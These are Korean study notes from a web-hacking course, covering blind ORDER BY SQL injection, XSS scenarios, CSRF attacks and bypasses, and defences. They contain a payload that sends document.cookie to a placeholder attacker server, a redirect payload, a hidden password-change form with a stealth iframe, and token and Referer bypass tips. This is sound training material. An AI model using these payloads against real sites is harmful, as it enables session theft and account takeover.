[7주차] 이전 내용 복습, XSS 시나리오, CSRF 문제풀이, 대응방안

** 자격증

> 기사 (정보보안기사, 정보처리기사)

> 정보보안기사(필기/실기 → 범위가 넓다)

 

** 워게임

> CTF 형식 

장점: 실전에 사용하면서 배울 수 있다

단점: 공부하고 있다고 착각할 가능성이 있다

답안지 보지 말고 풀어보기

푼 문제는 따로 정리하기 → 왜, 어떻게 실행되는지 (보고서 or 블로그)

 

SQL Injection 워게임 사이트

https://los.rubiya.kr/

Lord of SQLInjection

 

 

** SQL Injection (sort)

> Prepared Statement 처리를 하면 근본적으로 SQL Injection을 일으킬 수 없다

> order by, title name, column name 와 같이 정렬하는 부분에서는 Prepared statement 처리를 못 한다

ex)

select id, ? from member (x)

select id, password from ? (x)

select id, password from member where ~ order by id asc (x)

 

ex)

order by $field $dir

 

①

field: colume name, 1 테스트

dir: asc

 

②

field: colume name, 999999 테스트

dir: asc

에러 → 내가 입력한 데이터가 화이트리스트 기반으로 필터링 되지 않고 그대로 들어가는 것

 

③

field: colume name

dir: asc, '1' 테스트

조회되면

 

④

field: colume name

dir: asc, (select '1' union select '2' where (1=1)) 

참인 경우, 1과 2가 함께 출력된다 → 에러

 

⑤

field: colume name

dir: asc, (select '1' union select '2' where (1=2)) 

거짓인 경우 1만 출력된다 → 조회된다

 

이런 식으로 참과 거짓의 결과가 다르면 Blind SQLi 가능 → POC로 정보 추출

 

모의해킹 할 때 어떤 DB를 사용하는지 확인해야한다 (mysql? oracle? mssql?)

 

** XSS 시나리오 소개

시간 없으면 alert(1) 만 띄우고 보고서 작성해도 되지만 여유있으면 보고서 퀄리티 높이는 게 좋다

 

① Session ID 탈취

ex)

<script>document.write('<img src="공격자 웹 서버'+document.cookie+'  "/>');</script>

img 태그 추가할 때 공격자 웹 서버로 쿠키 값을 보내게 만든다

 

조건: document 객체에서 cookie에 접근이 가능해야한다

→ console 창에서 document.cookie 엔터 → PHPSESSID가 출력이 되면 document 객체에서 세션 아이디에 접근이 된다는 것

 

대응방안: cookie secure flag

Set-cookie : PHPSESSID = ~~~ httponly;

httponly를 붙여주면 쿠키는 그대로 주고받지만 console 창에 document.cookie 입력 시 PHPSESSID가 출력되지 않는다

 

② HTML Injection

→ HTML overwrite

 

③ KeyLogger 삽입

키보드를 누르면 그 값을 버퍼에 쌓아두고 일정 시간마다 웹 서버에 전송할 수 있다

→ 샘플 코드는 구글에 검색

 

④ Miner 실행

한 페이지에 오래 머무를 때 효과적 → ex) 동영상 사이트, 강의 사이트

XSS의 동작 범위를 알아야한다

이용자가 다른 페이지로 넘어가면 효과가 없다

→ 샘플 코드는 구글에 검색 (XSS Miner)

 

 

⑤ Redirect

<script>location.href = "공격자 사이트";</script>

공격자 사이트로 Redirect 시킨다. 공격자 사이트가 방금 보냈던 사이트와 유사한 페이지면 효과적이다

 

이 5가지 외에 XSS로 어떤 공격이 가능한지 고민해보고 시나리오를 만들어서 보고서를 작성해보는 것도 좋다

 

** CSRF history

CSRF

> 이용자가 임의로, 자신도 모르게 특정 요청을 하게 만드는 공격

 

▷ GET 방식

요청이 GET 방식으로 처리된다 → 보고서 작성

GET 방식은 URL 방식으로 요청이 나가기 때문에 URL을 사회공학기법과 결합시켜 공격할 수 있다

 

▷ POST 방식

① GET 방식으로도 되는지 확인

② Only POST → 그 사이트(같은 도메인) 내에서 XSS 취약점 찾기

 

ex)

action=비밀번호를 변경하는 url

<form action="url" method="POST">
    <input type="hidden" name="passwd" value="test1234">
    <input type="hidden" name="confirm" value="test1234">
    <input type="hidden" name="submit" value="submit">
    <input type="submit" value="ClickMe">
</form>

 

현재는 여러 정책때문에 많이 바뀌었다. 위 코드가 먹히지 않을 수 있다

 

* CSRF가 어려워지는 정책들 (CSRF 보호 기법들)

① 쿠키의 세션 ID 도용 방지

> samesite 속성

> path=/ 속성

cookie 옆에 Samesite 또는 Path 속성이 붙어있으면 쿠키는 해당 도메인에서만 쓸 수 있다

 

② 다른 페이지에서 CSRF 요청하는 것을 막기 위한 노력

> CORS 정책

다른 사이트에서 임의의 자원을 요청하지 못하게 만드는 정책

> X-Frame-Options

CSRF에서 iframe(작은 인터넷 창)이 포인트

ex)

<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" 
style="display: none;"></iframe>

프레임을 보이지 않게 만들고 form 태그의 target을 iframe의 id로 작성

→ form 태그의 결과가 iframe에서 출력된다. iframe의 프레임이 0이기 때문에 눈에 보이지 않지만 요청은 전송된다

 

③ CSRF Token

> 예측 불가능한 랜덤 값

> 최근에는 모든 요청에 CSRF Token이 추가되고 있다

> CSRF Token이 있다고 무조건 포기하지말고 우회가 되는지 검증하기 

 

1. CSRF Token이 모양만 있는 경우

2. 초기화 되지않는 CSRF Token (공격자가 재사용 가능)

iframe에서 토큰을 받아오는 페이지를 만든다

 

이런 정책들 때문에 Only POST 방식에서 XSS 취약점을 악용한다

 

면접에서 기술같은 거 설명할 때 어떤 조건에서 CSRF가 되는지 설명?

▷ CSRF는 POST 방식으로 처리될때 XSS 취약점이 있어야 공격을 할 수 있다

 

** CSRF 문제풀이 (CASE 스터디)

① 문제가 생기면 서비스를 하지 말자! False-Negative

② 문제가 생기면 통과시켜주자! False-Positive

 

CSRF Token이 있으면 비교하는데, CSRF Token을 없애면 처리해주는 경우가 있다(False-Posivite) → 이제 막 개발된 곳

CSRF Token이 있으면 지워보고 요청해보기 (CSRF Token이 겉모습만 있을 가능성)

 

* CSRF 대응방안

▷ Referer 체크

> 요청의 Referer 헤더

> 요청의 출처가 관련 페이지여야만 요청을 처리한다

 

> 체크가 미흡한 경우

이것도 False-Positive 적용. Referer 없이 보내보기

<meta name="referrer" content="no-referrer">

 

* 과제: CSRF Token Bypass

1) CSRF 공격 연구 보고서

개발한 페이지에서 실습한 거 넣기

① 회원정보 수정기능 

② 게시판 페이지

차선책 → DVWA에서 실습한 거

 

2) 웹 개발